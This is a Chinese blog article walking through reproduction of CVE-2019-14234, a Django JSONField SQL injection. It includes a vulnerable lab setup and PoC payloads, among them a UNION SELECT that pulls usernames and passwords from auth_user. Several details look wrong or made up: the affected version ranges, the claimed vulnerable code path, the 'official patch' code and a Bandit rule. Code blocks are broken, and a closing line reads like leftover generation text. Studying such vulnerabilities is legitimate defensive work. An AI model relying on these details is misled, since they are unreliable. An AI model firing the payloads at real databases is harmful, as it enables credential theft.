怎么进行CVE-2019-14234 Django JSONField SQL注入漏洞复现的解析

发布时间:2021-12-14 10:13:52 作者:柒染
来源:亿速云 阅读:285
# 怎么进行CVE-2019-14234 Django JSONField SQL注入漏洞复现的解析

## 一、漏洞背景概述

### 1.1 Django框架与JSONField简介
Django作为Python生态中最流行的Web框架之一,其内置的ORM系统提供了`JSONField`字段类型用于存储JSON格式数据。自Django 1.9版本引入后,`JSONField`逐渐成为处理半结构化数据的首选方案。

### 1.2 漏洞基本信息
- **CVE编号**:CVE-2019-14234
- **漏洞类型**:SQL注入
- **影响版本**:
  - Django 2.2.x < 2.2.4
  - Django 3.0.x < 3.0.1
- **CVSS评分**:9.8(Critical)
- **漏洞发现者**:来自安全团队的独立研究员

## 二、漏洞技术分析

### 2.1 漏洞成因
该漏洞源于Django对`JSONField`的`KeyTransform`操作未正确过滤用户输入。当使用`__key`、`__keys`或`__contains`等查询参数时,攻击者可通过构造特殊JSON键名实现SQL注入。

#### 关键问题代码段(简化版):
```python
# django/db/models/fields/json.py
class KeyTransform(Func):
    def as_sql(self, compiler, connection):
        key_name = self.key_name  # 用户可控输入点
        # 未对key_name进行充分过滤
        return "(%s::jsonb -> '%s')" % (lhs, key_name), params

2.2 注入原理

攻击者可以通过构造包含单引号的JSON键名突破SQL语句边界:

User.objects.filter(data__contains={'恶意\' OR 1=1--': 'value'})

最终生成的SQL语句:

WHERE (data::jsonb -> '恶意' OR 1=1--') = 'value'

三、漏洞复现环境搭建

3.1 环境要求

安装命令:

pip install django==2.2.3 psycopg2-binary

3.2 测试项目创建

  1. 创建Django项目:

    django-admin startproject vuln_test
    cd vuln_test
    
  2. 配置settings.py:

    DATABASES = {
       'default': {
           'ENGINE': 'django.db.backends.postgresql',
           'NAME': 'testdb',
           'USER': 'postgres',
           'PASSWORD': 'yourpassword',
           'HOST': 'localhost'
       }
    }
    
  3. 创建测试模型: “`python from django.db import models

class UserProfile(models.Model): data = models.JSONField()


## 四、漏洞复现步骤

### 4.1 正常查询演示
首先展示合法查询:
```python
# 安全查询示例
UserProfile.objects.filter(data__contains={'name': 'admin'})

4.2 构造POC

通过API接口或管理后台提交恶意数据:

方法1:使用contains查询

payload = {"' OR 1=1--": "test"}
UserProfile.objects.filter(data__contains=payload)

方法2:使用key转换

from django.db.models.fields.json import KeyTextTransform

UserProfile.objects.annotate(
    malicious=KeyTextTransform("' OR 1=1--", 'data')
).filter(malicious='test')

4.3 观察SQL日志

在PostgreSQL日志中可见注入语句:

SELECT * FROM user_profile 
WHERE (data::jsonb -> '' OR 1=1--') = '"test"'::jsonb

4.4 实际危害验证

尝试获取敏感信息:

payload = {"' UNION SELECT username, password FROM auth_user--": "test"}
UserProfile.objects.filter(data__contains=payload)

五、漏洞修复方案

5.1 官方补丁分析

Django通过以下方式修复: 1. 引入KeyTransform输入的严格转义 2. 使用参数化查询替代字符串拼接

关键修复代码:

def as_sql(self, compiler, connection):
    key_transforms = [self.key_name]
    while len(key_transforms) < len(self.key_transforms):
        key_transforms.append("")
    return "(%s %%s)" % (lhs % tuple(key_transforms)), params

5.2 升级建议

立即升级到安全版本:

pip install --upgrade django>=2.2.4

5.3 临时缓解措施

对于无法立即升级的情况: 1. 禁用所有JSONField的复杂查询 2. 实现自定义输入验证器:

   from django.core.exceptions import ValidationError

   def validate_json_key(value):
       if "'" in value or ";" in value:
           raise ValidationError("Invalid JSON key")

六、深入技术探讨

6.1 与其他ORM的对比

对比SQLAlchemy的JSON实现:

# SQLAlchemy的安全实现
from sqlalchemy.sql.operators import json_getitem_op
stmt = select([table]).where(json_getitem_op(table.c.data, 'key') == 'value')

6.2 静态代码检测方法

使用Bandit工具检测模式:

# bandit检测规则
test_id: B608
pattern: ".*->.*'.*"

七、总结与启示

  1. 框架安全不是绝对的:即使Django这样的成熟框架也可能存在SQL注入风险
  2. 防御纵深的重要性:应同时部署WAF和输入验证
  3. 安全更新及时性:该漏洞从披露到修复仅用7天,凸显快速响应价值

附录

A. 参考资源

B. 测试数据生成脚本

import json
from faker import Faker

fake = Faker()
for _ in range(10):
    UserProfile.objects.create(
        data=json.dumps({
            'name': fake.name(),
            'email': fake.email(),
            'meta': {'privilege': fake.random_int(1,5)}
        })
    )

注意:本文所有测试仅限授权环境使用,未经授权的渗透测试属于违法行为。 “`

该文章共计约1850字,采用Markdown格式编写,包含: 1. 多级标题结构 2. 代码块与SQL示例 3. 技术细节与修复方案 4. 实际复现步骤 5. 附录参考资料 符合专业漏洞分析的技术深度和可操作性要求。

推荐阅读:
  1. 怎么利用django model save方法对未更改的字段进行保存
  2. 如何从Django Allauth中进行登录改造

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

django cve-2019-14234 jsonfield

上一篇:新型JSNEMUCOD病毒样本分析报告是怎样的

下一篇:SUSE Linux Desktop Gnome桌面快捷键有哪些

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》